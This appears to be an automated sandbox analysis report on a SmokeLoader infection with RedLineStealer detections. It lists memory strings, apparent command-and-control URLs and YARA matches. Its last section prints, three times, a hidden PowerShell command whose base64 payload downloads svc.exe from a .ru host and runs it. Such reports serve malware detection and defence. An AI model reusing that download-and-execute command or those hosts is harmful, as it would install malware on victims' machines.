Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 14:37:33 GMT

Source: powershell.exe, 00000004.00000002.1315560529.00000194DEC1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1315560529.00000194DEEEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bestmagazineforanimalsunicum.ru
Source: powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1315560529.00000194DD8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bestmagazineforanimalsunicum.ru/download/svc.exe
Source: explorer.exe, 0000000E.00000003.2271704425.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2499939595.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.0000000008F7A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 0000000E.00000002.2508785780.000000000C40E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2503025898.00000000092A0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271648841.000000000C40D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2507163228.000000000BFD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2510145156.000000000E980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ceoconstractionstore.pl/index.php
Source: explorer.exe, 0000000E.00000002.2508785780.000000000C40E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271648841.000000000C40D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ceoconstractionstore.pl/index.phpings6QP
Source: explorer.exe, 0000000E.00000003.2271704425.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2499939595.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.0000000008F7A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 0000000E.00000003.2271704425.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2499939595.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.0000000008F7A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 0000000E.00000003.2271814403.0000000009013000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://fwtilsrhssulldop.com/
Source: powershell.exe, 00000004.00000002.1315560529.00000194DF2A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194EDA82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 0000000E.00000003.2271704425.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2499939595.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.0000000008F7A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.0000000007306000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 0000000E.00000003.2271765227.000000000C4F3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271584733.000000000C4B5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ooxywteyveq.com/
Source: explorer.exe, 0000000E.00000003.2271765227.000000000C4F3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271584733.000000000C4B5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ooxywteyveq.com/application/x-www-form-urlencodedMozilla/5.0
Source: powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 0000000E.00000002.2509240753.000000000C560000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271403404.000000000C55E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271209149.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://rfcqeahtpbrxjuy.net/
Source: explorer.exe, 0000000E.00000002.2509240753.000000000C560000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271403404.000000000C55E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271209149.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://rfcqeahtpbrxjuy.net/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 0000000E.00000002.2501271006.0000000008820000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1407973981.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1407494868.0000000007C70000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: powershell.exe, 00000004.00000002.1315560529.00000194DD8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000000E.00000002.2501943788.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/
Source: explorer.exe, 0000000E.00000002.2507163228.000000000C1E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2272656102.000000000C1E9000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/index.php.
Source: explorer.exe, 0000000E.00000002.2501943788.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://unicexpertmagazine.pw/l
Source: powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.foreca.com
Source: powershell.exe, 00000004.00000002.1314664931.00000194DB975000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: explorer.exe, 0000000E.00000003.2271814403.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2273440659.0000000008F7A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: powershell.exe, 00000004.00000002.1315560529.00000194DD8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: explorer.exe, 0000000E.00000000.1408331897.000000000913F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 0000000E.00000003.2271814403.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008DAE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 0000000E.00000002.2501943788.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1408331897.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008F09000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 0000000E.00000000.1406417153.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2499201257.0000000007276000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
Source: explorer.exe, 0000000E.00000000.1408331897.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2271814403.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.2501943788.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: powershell.exe, 00000004.00000002.1315560529.00000194DDAFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1315560529.00000194DE4FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: powershell.exe, 00000004.00000002.1315560529.00000194DF2A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194EDA82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1336938899.00000194ED94C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 0000000E.00000000.1408331897.00000000090F2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 0000000E.00000002.2507163228.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1410779925.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1406417153.00000000071FC000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 0000000E.00000002.2499201257.00000000071B2000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.pollensense.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000002.1688128712.00000000005CD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.2505713156.000000000AC41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.1426355284.00000000007E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.1426518576.00000000008DE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.1426166777.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000F.00000002.1688048281.00000000005A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000002.1688289070.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.2501060273.0000000008381000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.1426113071.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\oBuf.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=	Jump to behavior
